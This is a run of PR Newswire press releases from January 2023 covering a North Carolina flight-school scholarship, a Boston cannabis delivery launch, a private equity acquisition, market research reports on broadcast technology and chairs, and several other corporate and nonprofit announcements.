SMITHFIELD, N.C., Jan. 24, 2023 /PRNewswire/ -- Blue Line Aviation, the largest commercial pilot training school in the state of North Carolina announces the Fly Right Scholarship program. The $100,000 flight training scholarship will be awarded this school year to a Johnston County Public School graduate who soars above and beyond to do what's right, who has a high level of personal ethics and character, and who positively contributes to their world around them, as nominated by their teachers and peers and approved by an impartial panel.

The Fly Right Scholarship program will provide better access to high paying careers in aviation for Johnston County graduates.

To be considered, students must demonstrate the willingness to do what's right, be committed to their studies, and be nominated by their teachers and peers. Due to the nature of the intensive training program this scholarship is for, applicants will be thoroughly screened including cognitive assessments.

Blue Line Aviation President, Adam Walters says "Blue Line Aviation is committed to doing what is right, all the time, no matter what. We hope that this new scholarship will reward local students who share our core values of integrity, excellence and accountability by offering them the ability to enter into an extremely rewarding career field that may be otherwise inaccessible"

Ashley Tucker, Blue Line's VP of Sales and Marketing adds "We are pleased to announce the Fly Right scholarship as one of many ways our companies give back to the community. We believe we were blessed so that we can make a difference and this is one of the many ways we do so. This scholarship will encourage and reward doing what is right, as it targets graduates of the Johnston County Public School System who maintain the highest ethical standards, academic excellence, and who contribute positively to make the world around them a better place."

In 2021 Blue Line Aviation relocated to JNX Airport from RDU. The flight school came to Johnston County with big promises and they have more than delivered:

Blue Line promised to invest at least $4 million . They invested over $10 million .

. They invested over . They said they would employ an additional 25 people. They grew by approximately 50.

For based Aircraft, they said they would bring in 18 with a $200,000 per aircraft value for a total value of $3,600,000 . They have brought in 29 aircraft valued at over $20 million .

per aircraft value for a total value of . They have brought in 29 aircraft valued at over . Blue Line's move to JNX increased JNX fuel purchases by $400k the first year and will exceed $650,000 in 2023.

the first year and will exceed in 2023. Blue Line makes up approximately 90% of all air traffic into or out of the Johnston Regional Airport.

In 2022, Blue Line aircraft flew 11,732 flights, spending over 22,000 hours in the air. 593 pilot licenses were issued as a result of Blue Line and close to 75 new pilots entered the pilot workforce. Numerous Blue Line graduates moved on to the airlines and are helping fill the massive need for pilots plaguing the airline industry, flying aircraft as large as the Boeing 777.

In 2023, Blue Line Aviation has enough aircraft on order to double its fleet size again, and increase the property tax base in Johnston County by $25 million. An uncooperative airport authority has made it more difficult for Blue Line to fully realize its growth plans.

Blue Line co-founder Trey Walters says "In an environment where so many promises go unfulfilled, I am proud of the teams at Blue Line Aviation, Blue Line Technical Services, Sparkchasers Aircraft Services, and Low and Slow Smokehouse who help fulfill our promises and positively impact the community every day. Blue Line far exceeded the minimum requirements that we promised to bring when our economic development incentive grant was approved. We hope we can work together with County and Airport officials to positively impact the citizens of Johnston County."

Blue Line Aviation has become an important part of the North Carolina aviation community. The Fly Right Scholarship Program is yet another example of their dedication to creating a brighter future for Johnston County.

For more information about Blue Line Aviation or the Fly Right Scholarship program, please visit www.bluelineaviation.com

About Blue Line Aviation

Blue Line Aviation, established in 2012, is one of only a few flight schools in the world to provide quality flight training programs at an accelerated pace. In as few as five and a half months, students can go from no experience to fully confident and certified pilots, fully prepared for a career in aviation. Schedule a tour of our new state-of-the-art facility (located at 3149B Swift Creek Road, Smithfield, North Carolina) and let your new career take flight. For more inquiries and additional information, please visit our website, find us on social media, or contact Ashley Tucker, our Vice President of Sales and Marketing, at (919) 578-3713 ext. 305.

Press Contact:

Ashley Tucker

(919) 578-3713 ext. 305

http://www.bluelineaviation.com/

SOURCE Blue Line Aviation
Four diverse social equity entrepreneurs raised $2.6 million in seed funding for launch

BOSTON, Jan. 24, 2023 /PRNewswire/ -- Zyp Run, formerly known as "Zip Run", is Boston's first cannabis delivery operator. They launched their cannabis delivery operations on January 20th, 2023. Zyp Run has created its own proprietary e-commerce platform that provides a seamless experience for consumers to order products directly from Zyp Run's website shop.zyprun.com for speedy cannabis delivery within the Greater Boston area. Zyp Run has raised to date $2.6 million for their seed round led by Satori Investment Partners and Mollitiam Capital.

Zyp Run Co-founders Gabe Vieira and Elis Omoroghomwan run a young, diverse team of entrepreneurs, developers, and business leaders who share a vision for bringing purpose to cannabis and giving back to the community.

"I'm proud to see this day come to fruition. Without the love and support of people from all walks of life across the city of Boston, none of this would have been possible," said Gabe Vieira, CEO and co-founder of Zyp Run.

"Boston has the opportunity to demonstrate what true social equity looks like. Inner city kids can succeed if given the chance and resources to do so," said Elis Omoroghomwan, CGO and co-founder of Zyp Run.

The four co-founders of Zyp Run are a young, diverse team of entrepreneurs, developers, and business leaders who share a vision for bringing purpose to cannabis and giving back to the community: Chief Growth Officer Elis Omoroghomwan; Chief Technology Officer Michael Gordon; Chief Operations Officer Christian Nicholson; and Vieira, who grew up in the Dorchester neighborhood of Boston and hold Zyp Run's social equity membership.

About Zyp Run

Zyp Run is the first social equity company to build a state-of-art, proprietary platform for cannabis delivery. Their technology provides a consumer-friendly experience for cannabis delivery in Greater Boston. To prevent the continuation of an inequitable status quo in the cannabis industry, Zyp Run employs and empowers individuals from communities that were negatively impacted by marijuana prohibition and enforcement. For more information, please visit https://www.zyprun.com/.

SOURCE Zyp Run
MIAMI, Jan. 24, 2023 /PRNewswire/ -- Boyne Capital ("Boyne") is pleased to announce that one of its affiliates has partnered with management to acquire Flatworld Solutions, Inc. ("Flatworld" or the "Company"), a business process outsourcing and automation (BPO/BPA) company providing services to the following industries: Banking, Financial Services, and Insurance (BFSI), Customer Experience, Healthcare, Software Development, IT Enabled Services, Engineering, and Customs Brokerage & Logistics. Through its subsidiary, Quadratic Insights Pvt. Ltd. ("Quadratics"), Flatworld also offers artificial intelligence (AI), machine learning (ML), and robotic process automation (RPA) solutions. ( www.flatworldsolutions.com ) ( www.quadratyx.com )

Founded in 2002, the Company uses technology, software, and skilled IT labor to service customers. Flatworld and its affiliates employ over 8,000 product specialists across strategically located delivery centers in Bangalore and Hyderabad, India and Davao City, Philippines, providing access to talented and cost-effective labor. Flatworld excels in its ability to provide complex BPO/BPA services enhanced by highly trained professionals on staff such as doctors, engineers, and finance and accounting experts.

Boyne Managing Partner and CEO, Derek McDowell, said, "Flatworld's ability to consistently deliver high quality services across a breadth of sectors and capabilities differentiates them from their peers. We are impressed by the customer-centric, global organization the Flatworld management team has built, and we are excited to be partnering with co-founders Jacob William, David Antony, and Anand Mathews to help Flatworld achieve its full potential."

Josh Bilmes, Principal, said, "Boyne is excited to welcome Flatworld to its portfolio. The Flatworld leadership team has impressed us with their commitment to growth while maintaining an emphasis on high customer satisfaction. We look forward to accelerating the Company's progress and helping establish the infrastructure needed to support rapid expansion."

Flatworld's co-founders said, "Flatworld is at an inflection point and has numerous avenues for growth. In Boyne Capital, we found a constructive and thoughtful partner to help us unlock our full potential via both organic investment and strategic M&A. We've already begun laying the foundation for this growth phase, and we're energized by what we believe the future holds for Flatworld."

The Flatworld transaction represents a recent platform investment in BCM Fund II ("Fund"). The Fund is dedicated to investing in the lower middle market sector, specifically companies with revenues of less than $100 million and with EBITDA of $3 million to $15 million.

About Boyne: Boyne Capital is a Florida-based private equity firm focused on investments in lower middle market companies. Founded in 2006, Boyne has successfully invested in a broad range of industries, including healthcare services, consumer products, manufacturing, and business & financial services. Beyond financial resources, Boyne provides industry and operational expertise to its portfolio companies and partners with management to drive company performance and growth. Boyne specializes in providing the capital necessary to fund corporate growth and facilitate owners and shareholders' partial or full exit. For additional information, please visit www.boynecapital.com .

Contact Joshua Bilmes at [email protected] or 786.539.2245 regarding new opportunities.

SOURCE Boyne Capital
CHARLESTON, S.C., Jan. 24, 2023 /PRNewswire/ -- SinglePoint, Inc. (OTCQB: SING) ("SinglePoint" or "the Company") announced today that its subsidiary, BPA Solutions, a premier provider and consultant for clean air services, fulfilled an additional order of twenty (20) additional Certified HEPA, AirBox air purification units for a university in North Carolina. The university has now made multiple orders of units from BPA Solutions as they continue to improve indoor air quality (IAQ) throughout the campus.

Ryan Cowell, Chief Executive Officer of BPA Solutions, said, "We have worked with the university in their commitment to improving the Indoor Air Quality of campus buildings. It is always a positive reassurance and an indication of client satisfaction when a school returns to order additional units."

Cowell continued, "With all AirBox purifiers manufactured in Statesville, North Carolina, we will always take pride in providing Carolina schools, such as the university, with industry-leading air purification solutions."

Students returned to class on January 9th to start their spring semester. These additional air purification systems will help provide clean indoor air, which has been shown to benefit overall health and well-being.

BPA Solutions is an industry expert in improving indoor air quality. BPA Solutions has been working with schools using ESSER, EANS, and FEMA dollars. The Company is uniquely qualified and understands how to effectively implement air purification solutions and utilize the existing federal funding for clients.

Contact BPA Solutions today to implement your clean air plan.

About BPA Solutions

BPA Solutions provides schools and other governmental agencies with innovative and proven products designed to create healthier, safer public gathering places. To learn more, visit www.bpasolutions.com .

About SinglePoint Inc. (OTCQB:SING)

SinglePoint is a sustainable lifestyle Company focused on the solar energy and storage and indoor air purification markets. The Company plans to build the largest renewable energy solutions network and modernize the traditional solar energy and energy storage business model. SinglePoint continues to execute its acquisition strategy by exploring future growth opportunities in indoor air purification and ventilation, electric vehicle charging, solar as a subscription service, and additional energy efficiencies and appliances that enhance sustainability and healthier life. For more information, visit the Company's websites: www.singlepoint.com , www.bostonsolar.us , and www.boxpureair.com .

Forward-Looking Statements

Certain statements in this news release may contain forward-looking information within Rule 175 under the Securities Act of 1933 and Rule 3b-6 under the Securities Exchange Act of 1934 and are subject to the safe harbor created by those rules. All statements, besides statements of fact included in this release, including, without limitation, statements regarding revenue projections, financing opportunities, potential plans and objectives of the Company, anticipated growth, and future expansion, are forward-looking statements that involve risks and uncertainties. There can be no assurance that such statements will prove to be accurate and actual results and future events could differ materially from those anticipated in such statements.

Technical and other complications, which may arise, could prevent the prompt implementation of any strategically significant plan(s) outlined above. The Company undertakes no duty to revise or update any forward-looking statements to reflect events or circumstances after the date of this release.

SinglePoint Inc Investor Contact:

Tra-Digital IR

[email protected]

(212) 389  9782 ext. 107

BPA Solutions Contact Information:

[email protected]

843.936.6649

www.solutionsbpa.com

SOURCE SinglePoint Inc.
Brand Storytelling Celebrates Brand-Funded Filmmaking with screenings at Brand Storytelling 2023: A Sanctioned Event of Sundance Film Festival

LOS ANGELES, Jan. 23, 2023 /PRNewswire/ -- Brand Storytelling returned to host its 7th annual event in Park City, Utah from Wednesday, January 18th through Saturday, January 21st. The event was attended by over 350+ brand representatives, agencies, content studios, and platform representatives who took part in viewing brand films, panels, Q&A, town halls, and networking alongside the opening days of Sundance Film Festival.

"Brand Storytelling has cultivated a strong reputation for attracting major players in brand-funded content, production, and distribution," said Rick Parkhill, Director and Co-Founder of Brand Storytelling. "Previous years introduced the brand marketing community to films like 5B, Dear Santa, and more. The mix of screenings, presentations, receptions, events, and activities provides great opportunity for relationship building and creative exploration."

Brand Storytelling has cultivated a strong reputation for attracting major players in brand-funded content. Tweet this

Brand Storytelling 2023 began with an open call for brand film submissions in August of 2022. An expert panel of C-suite executives, professional brand storytellers, and award-winning directors narrowed a list of over 150+ submissions to just 16 films. Brands invited to screen in the Brand Storytelling Theater included:

Cannondale & Outride

Corona

Fiverr

Friends of the Boundary Waters

GoDaddy

HP

Jagermeister

Kawai

Mami Wata

NRMA Insurance

P&G

SFMOMA

Stripe

The Climate Pledge (Amazon)

UNICEF

Yeti

Several films were awarded for outstanding work by the Brand Storytelling Theater Selection Committee:

Director Award  Ben Proudfoot , If You Have , UNICEF

, , UNICEF Producer Award  Structure Films and Stripe Press, We Are As Gods , STRIPE

, STRIPE Grand Jury Award  A Thousand Casts, YETI

"When I was starting out as a creative, I often looked toward what other directors were doing for brands and thought 'that's what I want to do'," said Everett Katigbak, Brand Storytelling Award winning producer from Stripe Press. "To be here at brand storytelling where that's the focus, to be around peers that are driving this industry forward, and to be acknowledged for what I've contributed is a great feeling."

Brand Storytelling also made this year's films and corresponding conversations available on its new premium platform, BrandStorytelling+. A world-class community and content hub for brand storytellers, BrandStorytelling+ offers event content alongside professional certification courses, a library of case studies, and over 100 hours of industry and academic content.

To learn more about future events and BrandStorytelling+, visit brandstorytelling.tv.

About Brand Storytelling: Brand Storytelling is a privately-owned organization with the mission to support, educate and inspire brand-funded content. Brand Storytelling hosts bi-annual events focused on bringing together a community of brands, directors, agencies, content studios and platforms to celebrate innovative content approaches and inspire the next generation of brand storytellers. The organization is also the home of BrandStorytelling+, a premium platform offering access to world-class community and content for brands, agencies, and storytellers.

SOURCE Brand Storytelling
Climate Neutral Certified Los Angeles-based mattress brand offers exclusive savings on luxurious, eco-friendly mattresses and pillows.

LOS ANGELES, Jan. 24, 2023 /PRNewswire/ -- Brentwood Home doesn't do many sales like this. In honor of Presidents' Day, the maker of California-inspired sleep products is offering 10% off sitewide, including huge savings on top-rated mattresses, pillows, and bed frames.

For a limited time only, customers can save up to $240 on mattresses, including Brentwood's #1 ranked Oceano Luxury Hybrid mattress, using code SAVE10. The huge savings also apply to the dual-sided Crystal Cove Mattress, the innovative and affordable Hybrid Latex Mattress, and all models of the affordable Cypress Mattress, which features thermoregulating charcoal-infused memory foam.

Brentwood Home is also offering 10% off all yoga cushions, the Molded Latex, Oceano, and Crystal Cove pillows, seat cushions, and wedge pillows. Shoppers will even save up to $250 on the Pro Adjustable Power Base, which quietly glides into the most comfortable position for your body.

Since 1987, Brentwood Home has handcrafted the finest luxury mattresses, pillows, and bedding  thoughtfully made with nontoxic materials and natural elements  in their Los Angeles factory. As designers, makers, and artisans, they thrive on articulating the details that others ignore. Yet it is their "California ethos" that truly defines Brentwood Home, compelling them to craft beautiful sleep products that also promote healthy lifestyles and greater wellbeing.

Brentwood Home is a net-zero company, fighting climate change by partnering with Climate Neutral to measure, reduce, and offset their scope 1, 2, and 3 emissions. Throughout the sale and beyond, Brentwood Home will also donate 1% of proceeds from the Crystal Cove line to support SeaTrees by Sustainable Surf, a nonprofit making ocean conservation accessible to all through their community-based projects dedicated to planting and protecting blue-carbon coastal ecosystems.

If you would like more information, please contact Jessica Hann at [email protected].

SOURCE Brentwood Home
DUBLIN, Jan. 24, 2023 /PRNewswire/ -- The "Broadcast And Media Technology Global Market Report 2022" report has been added to ResearchAndMarkets.com's offering.

This report provides strategists, marketers and senior management with the critical information they need to assess the global broadcast and media technology market.

The global broadcast and media market is expected to grow from $43.69 billion in 2021 to $48.47 billion in 2022 at a compound annual growth rate (CAGR) of 10.9%. The broadcast and media market is expected to reach $72.09 billion in 2026 at a CAGR of 10.4%.

Reasons to Purchase

Gain a truly global perspective with the most comprehensive report available on this market covering 12+ geographies.

Understand how the market is being affected by the coronavirus and how it is likely to emerge and grow as the impact of the virus abates.

Create regional and country strategies on the basis of local data and analysis.

Identify growth segments for investment.

Outperform competitors using forecast data and the drivers and trends shaping the market.

Understand customers based on the latest market research findings.

Benchmark performance against key competitors.

Utilize the relationships between key data sets for superior strategizing.

Suitable for supporting your internal and external presentations with reliable high quality data and analysis

Major players in the broadcast and media technology market are Evertz Technologies Limited, IBM Corporation, Quantum Corporation, ROHDE & SCHWARZ GmbH & Co. KG, Dell Inc. (EMC Corporation), Grass Valley, AVI Systems, Video Stream Networks S.L., WideOrbit Inc., Harmonic Inc., Eletec Broadcast Telecom S.A.R.L, Clyde Broadcast, Sencore, EVS Broadcast Equipment, and ACORDE Technologies S.A.

The broadcast and media technology market consist of sales of the broadcast and media technology by entities (organizations, sole traders, and partnerships) that refer to a variety of communication systems that entail transferring data across long distances utilizing electronic and electromagnetic approaches.

Radio and television broadcasting technology, satellite broadcasting technology, digital cable and satellite television technology, digital terrestrial television, and satellite television technologies are the examples of broadcast and media technology.

The various solutions in broadcast and media technology include web content management, content storage solutions, editorial, and print workflow, media/digital asset management, revenue management, ad and data management, and user management. Web content management is a software used to manage content allowing multiple contributors to create, edit and publish. The hosting models in the broadcast and media technology include integrated and standalone. The end users of broadcast and media technology include broadcasters, distributors, OTT, and IPTV.

North America was the largest region in the broadcast and media technology market in 2021. The regions covered in the broadcast and media technology market report are Asia-Pacific, Western Europe, Eastern Europe, North America, South America, Middle East and Africa.

A rise in access to media and video streaming is contributing to the growth of the broadcast and media technology market. Streaming media is the process of delivering multimedia data (such as video or audio) from a streaming service provider to an end-user. Streaming media uses HTTP, TCP/IP, and HTML protocols to deliver audio and video elements.

For instance, in April 2022, according to a survey by State of Play report by Nielsen Holdings Inc., a US-based data, information, and market measurement firm, between February 2021 and February 2022, there was a double-digit growth of 18% in Americans' average weekly time viewing a video.

The total amount of streamed minutes increased from 143.2 billion to 169.4 billion. Over the last few years, viewers have increased the number of services they subscribe to and pay for. According to the survey, 58% of people who pay for video subscriptions do so for three or more streaming services, up from 32% in 2019. Such an increase in consumption of media and video streaming will propel the growth of broadcast and media technology market.

Technological advancement is a key trend gaining popularity in the broadcast and technology market. The companies operating in broadcast and media technology market are focusing on developing innovative products to meet industry demands and expand their market reach across the globe.

For instance, in March 2022, Quantum Corporation, a US-based data storage, and management company launched the Unified Surveillance Platform (USP), a durable, versatile, and secure software platform for recording and storing video surveillance data. Quantum is also offering a new range of smart network video recording servers in addition to this software platform (NVRs). To provide a next-generation, integrated appliance for capturing and recording security video, the Smart NVRs combine the Quantum Unified Surveillance Platform software with a purpose-built NVR server.

The Quantum USP software consolidates the server's computing, storage, and networking capabilities into a single unified and scalable system, simplifying video recording infrastructure and lowering the total cost of ownership. Quantum's USP is built on software technologies that it bought from EnCloudEn last year. Quantum has further improved and enhanced the software to satisfy the specific requirements of the video surveillance market.

In September 2021, Valsoft Corporation Inc., a Montreal-based company that offers end-to-end software solutions for the broadcast industry acquired VSN Innovation and Media Solutions for an undisclosed amount.

This deal will help Valsoft put Aspire Software (an operating group of the company) in a new vertical to strengthen the company's expansion in Spain. VSN Video Stream Networks S.L. is a Japan-based industry leader in media and broadcasting solutions and its products manage the whole media life cycle in a unified and seamless manner, from ingest to broadcast and archive.

The countries covered in the broadcast and media technology market report are Australia, Brazil, China, France, Germany, India, Indonesia, Japan, Russia, South Korea, UK, and USA.

Key Topics Covered:

1. Executive Summary

2. Broadcast And Media Technology Market Characteristics

3. Broadcast And Media Technology Market Trends And Strategies

4. Impact Of COVID-19 On Broadcast And Media Technology

5. Broadcast And Media Technology Market Size And Growth

5.1. Global Broadcast And Media Technology Historic Market, 2016-2021, $ Billion

5.1.1. Drivers Of The Market

5.1.2. Restraints On The Market

5.2. Global Broadcast And Media Technology Forecast Market, 2021-2026F, 2031F, $ Billion

5.2.1. Drivers Of The Market

5.2.2. Restraints On the Market

6. Broadcast And Media Technology Market Segmentation

6.1. Global Broadcast And Media Technology Market, Segmentation By Solution Type, Historic and Forecast, 2016-2021, 2021-2026F, 2031F, $ Billion

Web Content Management

Content Storage Solutions

Editorial and Print Workflow

Media/Digital Asset Management

Revenue Management

Ad and Data Management

User management

6.2. Global Broadcast And Media Technology Market, Segmentation By Hosting Model Type, Historic and Forecast, 2016-2021, 2021-2026F, 2031F, $ Billion

Integrated

Standalone

6.3. Global Broadcast And Media Technology Market, Segmentation By End User Type, Historic and Forecast, 2016-2021, 2021-2026F, 2031F, $ Billion

Broadcasters

Distributors

OTT

IPTV

7. Broadcast And Media Technology Market Regional And Country Analysis

7.1. Global Broadcast And Media Technology Market, Split By Region, Historic and Forecast, 2016-2021, 2021-2026F, 2031F, $ Billion

7.2. Global Broadcast And Media Technology Market, Split By Country, Historic and Forecast, 2016-2021, 2021-2026F, 2031F, $ Billion

For more information about this report visit https://www.researchandmarkets.com/r/v8lwaz

Media Contact: Laura Wood | +353-1-481-1716 | [email protected]

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SOURCE Research and Markets
South Florida Nonprofit organization, along with the Stahl Family and DxWeb, honored local heroes and their families with a day of food, fun, and patriotic celebration

FORT LAUDERDALE, Fla., Jan. 24, 2023 /PRNewswire/ -- The Broward Sheriff's Advisory Council, along with the Stahl Family and DxWeb, hosted the second annual Tribute to Bravery BBQ at Golani Ranch on Sunday, November 6, 2022, to celebrate Medal of Valor award recipients, first responders, and their families.

Tribute to Bravery BBQ The Stahl Family

Guests donned their best cowboy and cowgirl chic attire as they enjoyed a patriotic day filled with a delicious BBQ spread, Faithful W Ranch Riders performances, and a rodeo. Children also joined in on the fun with a petting zoo and electronic bull experience. First responders, military personnel, and their families were in attendance as special guests of the Stahl Family at no charge. During the event, TV personality, Evan Golden, served as a master of ceremonies, introducing a recognition of the Medal of Valor Award honorees, a blessing by Rabbi Chaim Slavaticki, a presentation for the fallen, and the Broward Sheriff's Office Honor Guard with a blessing from the Broward Sheriff's Office Chaplain Darren Bennett. To end the day, guests were blown away by a spectacular firework display, bigger than the 4th of July!

"Celebrating first responders and their families is one of the greatest ways to honor the local heroes who protect our community," shared Andy Mitchell, Chairman for the Broward Sheriff's Advisory Council. "We are grateful for those who risk their lives on a daily basis and strive to make them a top priority in our community."

"Hosting a day dedicated to military, first responders, and their families is a cause the Stahl family and DxWeb is honored to support," shares Lewis Stahl, Vice Chairman of the Board for the Broward Sheriff's Advisory Council. "As a loyal supporter of first responders, our hope is to make an impact in the lives of those who serve and protect without hesitation."

About Broward Sheriff's Advisory Council

Broward Sheriff's Advisory Council is a non-profit 501(c)(3) organization with a mission to support the first responders of Broward County. It provides injured or killed first responders and their families with financial assistance. The Council also develops and offers programs to strengthen the connection between the community and responders. It focuses on improving the community as a whole by providing it with a host of initiatives, such as specialized training courses for Broward first responders, wellness programs for first responders, and community outreach. For more information or to become a member, visit https://www.browardsheriffsadvisorycouncil.com.

Media Contact:

The Pontes Group / Lais Pontes Greene

Lais Greene

[email protected]

954-960-6083

SOURCE Broward Sheriff's Advisory Council
Do you hold Capital One common stock? If so, please visit Capital One Financial Corporation Shareholder Investigation or contact Peter Allocco at (212) 951-2030 or [email protected] to discuss your rights.

NEW YORK, Jan. 24, 2023 /PRNewswire/ -- Bernstein Liebhard LLP, a nationally acclaimed investor rights law firm, is investigating whether members of the Board of Directors of Capital One Financial Corporation ("Capital One") (NYSE: COF) breached their fiduciary duties to Capital One.

If you hold Capital One stock and would like to discuss your legal rights and options, please visit Capital One Financial Corporation Shareholder Investigation or contact Peter Allocco at (212) 951-2030 or [email protected].

Since 1993, Bernstein Liebhard LLP has recovered over $3.5 billion for its clients. In addition to representing individual investors, the firm has been retained by some of the largest public and private pension funds in the country to monitor their assets and pursue litigation on their behalf. As a result of its success litigating hundreds of lawsuits and class actions, the firm has been named to The National Law Journal's "Plaintiffs' Hot List" thirteen times and listed in The Legal 500 for ten consecutive years.

ATTORNEY ADVERTISING.  2023 Bernstein Liebhard LLP. The law firm responsible for this advertisement is Bernstein Liebhard LLP, 10 East 40th Street, New York, New York 10016, (212) 779-1414. Prior results do not guarantee or predict a similar outcome with respect to any future matter.

Contact Information:

Peter Allocco

Bernstein Liebhard LLP

https://www.bernlieb.com

(212) 951-2030

[email protected]

SOURCE Bernstein Liebhard LLP
MIAMI, Jan. 24, 2023 /PRNewswire/ -- Introducing this year's breakout brand, ZIMRothschild (ZIM); giving a home to the purpose-driven, passionate "Unicorns" that walk amongst us.

ZIM was founded in 2019 by Sunga Mkwezalamba, a lawyer, born in Malawi and raised in Champaign, IL. "I noted a gap in the market for individuals I later identified as " 'Unicorns " '  people driven by purpose who needed a home to share ideas, resources, and style. I tested the idea by designing and selling products from my Chicago law firm office, and the positive response was overwhelming."

"Our motto is 'we see you,' and we strive to be a beacon of light to the world." Tweet this ZIM Shoot

The ZIM fashion line is a uniform for "Unicorns" to identify each other and is to be worn with pride, symbolizing individuality, strength, and motivation. Sunga adds, "We are passionate about creating a safe space for our customers to express themselves and be seen for who they are. Our motto is 'we see you,' and we strive to be a beacon of light to the world."

Generation 1

ZIM officially launched with a limited-edition collection titled "Generation 1," and focused on building community through organic outreach. The line was designed with the aid of a former Creative Director from Off-White, and became a hit mixing streetwear and prep. The connection between the brand and the audience was developed through social media engagement, newsletters, and articles the ZIM team wrote about Unicorn customers to highlight their unique features. "We wanted to identify who Unicorns are, in order to gain an understanding of their interests, as well as why they identify themselves this way," states Sunga. The brand also leveraged customer feedback to drive product design. That feedback was essential to Sunga, as he wanted to determine what customers wanted to wear and understand how the brand could best support them.

Generation 2

Always forward-facing, ZIM will be launching the "Generation 2" line at the end of February in celebration of Black History Month and will be making a bold statement by intertwining technology into their product design.

About ZIMRothschild

ZIMRothschild is a lifestyle brand and platform for individuals identified as "Unicorns." Unicorns are individuals driven by purpose, who stand out and strive to make life better for themselves and others. ZIM identifies them as "Unicorns" to ensure they are seen and that the positive changes they make don't go unnoticed.

Media Contact: Natalia Mohamed

Phone: +1 (305) 768 - 9557

Email: [email protected]

Website: www.zimrothschild.com

Instagram: @zimrothschild

Address: 2121 Biscayne Blvd., #1457 Miami, FL

SOURCE ZIMRothschild
NEW YORK, Jan. 24, 2023 /PRNewswire/ -- According to Technavio, the global chair market size is estimated to grow by USD 14,196.62 million from 2022 to 2027. The market is estimated to grow at a CAGR of 6.25% during the forecast period. APAC held the largest share of the global market in 2022, and the market in the region is estimated to witness an incremental growth of 40%. For more Insights on market size, Request a sample report

Chair Market - Five Forces

The global cloud data warehouse market is fragmented, and the five forces analysis covers

Technavio has announced its latest market research report titled Global Chair Market 2023-2027

Bargaining Power of Buyers

The threat of New Entrants

Threat of Rivalry

Bargaining Power of Suppliers

Threat of Substitutes

Interpretation of porter's five models helps to strategize the business, for entire details  buy the report!

Chair market  Customer Landscape

The report includes the market's adoption lifecycle, from the innovator's stage to the laggard's stage. It focuses on adoption rates in different regions based on penetration. Furthermore, the report also includes key purchase criteria and drivers of price sensitivity to help companies evaluate and develop their growth strategies.

Chair market - Segmentation Assessment

Segment Overview

Technavio has segmented the market based on distribution channel (offline and online), type (regular use chairs, office chairs, massage chairs, gaming chairs, and others), and geography (APAC, North America, Europe, South America, and Middle East and Africa).

The market growth will be significant in the offline segment during the forecast period. The segment includes specialty stores, dealers, hypermarkets, supermarkets, brand-owned retail stores, and department stores. Although these distribution channels are losing their popularity, extensive marketing activities are anticipated to propel sales through these channels at a steady rate during the forecast period.

Geography Overview

By geography, the global chair market is segmented into APAC, North America, Europe, South America, and Middle East and Africa. The report provides actionable insights and estimates the contribution of all regions to the growth of the global chair market.

APAC will account for 40% of the global market growth during the forecast period. The growth of the regional market can be attributed to factors such as high vendor support, availability of relatively cheap labor, and the presence of low-cost manufacturing locations.

Download a Sample Report

Chair market  Market Dynamics

Key factor driving market growth

The market is driven by growing work-related stress and the need for stress-relieving solutions.

The prevalence of health conditions such as obesity, high blood pressure, depression, poor circulation, and anxiety is on the rise globally due to an increase in work-related stress.

People are becoming more health conscious and are engaging in activities that provide effective relief from pain and stress.

This is increasing the demand for health and fitness products such as massage chairs due to the perceived health-promoting benefits associated with their use.

Massage chairs stimulate blood circulation, relieve pain, allow the muscles to relax, and release good hormones such as endorphins and serotonin that destress the mind.

With the increase in the demand for health and fitness products, market growth will accelerate during the forecast period.

Leading trends influencing the market

The emergence of ergonomic gaming chairs is identified as the key trend in the market.

Conventional chairs cause pain in the back muscles and hands and discomfort when playing games for long hours.

Hence, the demand for ergonomically designed gaming chairs is increasing among consumers.

Ergonomic gaming chairs are designed to reduce discomfort and muscle strain a user may experience.

They have features such as swivel and tilt capabilities, seat-side control, and neck pillow to help gamers sit in a relaxed position.

The increasing popularity of these chairs is encouraging many vendors in the market to introduce a wide range of ergonomically designed gaming chairs.

Major challenges hindering market growth

The uncertainty of raw materials and production costs are challenging the growth of the market.

The cost of raw materials used in the manufacture of chairs such as steel, plastics, textiles, wood particleboard, and cartons has increased considerably over the years.

For instance, the cost of wood is increasing due to volatility in input and transportation costs, as well as continued downsizing of the production capacities of furniture manufacturers.

The increasing cost of raw materials is negatively impacting the profit margins of vendors, which is reducing the growth potential of the market.

Driver, Trend & Challenges are the factors of market dynamics that state about consequences & sustainability of the businesses, find some insights from a sample report!

What are the key data covered in this chair market report?

CAGR of the market during the forecast period

Detailed information on factors that will drive the growth of the chair market between 2023 and 2027

Precise estimation of the size of the chair market size and its contribution to the market in focus on the parent market

Accurate predictions about upcoming trends and changes in consumer behavior

Growth of the chair market industry across APAC, North America , Europe , South America , and Middle East and Africa

, , , and and A thorough analysis of the market's competitive landscape and detailed information about vendors

Comprehensive analysis of factors that will challenge the growth of chair market vendors

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Related Reports:

The gaming chair market is estimated to grow at a CAGR of 7.73% between 2022 and 2027. The size of the market is forecast to increase by USD 212.95 million. The health-related benefits of using gaming chairs are notably driving the gaming chair market growth, although factors such as the increasing adoption of mobile games may impede market growth.

is estimated to grow at a CAGR of 7.73% between 2022 and 2027. The size of the market is forecast to increase by USD 212.95 million. The health-related benefits of using gaming chairs are notably driving the gaming chair market growth, although factors such as the increasing adoption of mobile games may impede market growth. The massage equipment market is estimated to grow at a CAGR of 10.54% between 2022 and 2027. The size of the market is forecast to increase by USD 17,294.31 million . The rising number of massage parlors and physiotherapy clinics is notably driving the market growth, although factors such as the shift to traditional massage therapies may impede the market growth.

Chair Market Scope

Report Coverage Details Page number 167 Base year 2022 Historic period 2017-2021 Forecast period 2023-2027 Growth momentum & CAGR Accelerate at a CAGR of 6.25% Market growth 2023-2027 USD 14,196.62 million Market structure Fragmented YoY growth 2022-2023 (%) 5.84 Regional analysis APAC, North America, Europe, South America, and Middle East and Africa Performing market contribution APAC at 40% Key countries US, China, Germany, France, and UK Competitive landscape Leading Vendors, Market Positioning of Vendors, Competitive Strategies, and Industry Risks Key companies profiled Ace Casual Furniture, AKRacing America Inc., Arozzi North America, Bristol Technologies Sdn Bhd, Corsair Gaming Inc., DXRacer USA LLC., Haworth Inc., HNI Corp., Impakt S.A., Kimball International Inc., MillerKnoll Inc., Okamura Corp., Pro Gamersware GmbH, Secretlab SG Pte. Ltd., Steelcase Inc., Thermaltake Technology Co. Ltd., ThunderX3, TOPSTAR GmbH, True Innovations, and Vertagear Inc Market dynamics Parent market analysis, market growth inducers and obstacles, fast-growing and slow-growing segment analysis, COVID-19 impact and recovery analysis and future consumer dynamics, and market condition analysis for the forecast period. Customization purview If our report has not included the data that you are looking for, you can reach out to our analysts and get segments customized.

Table of contents:

1 Executive Summary

1.1 Market overview

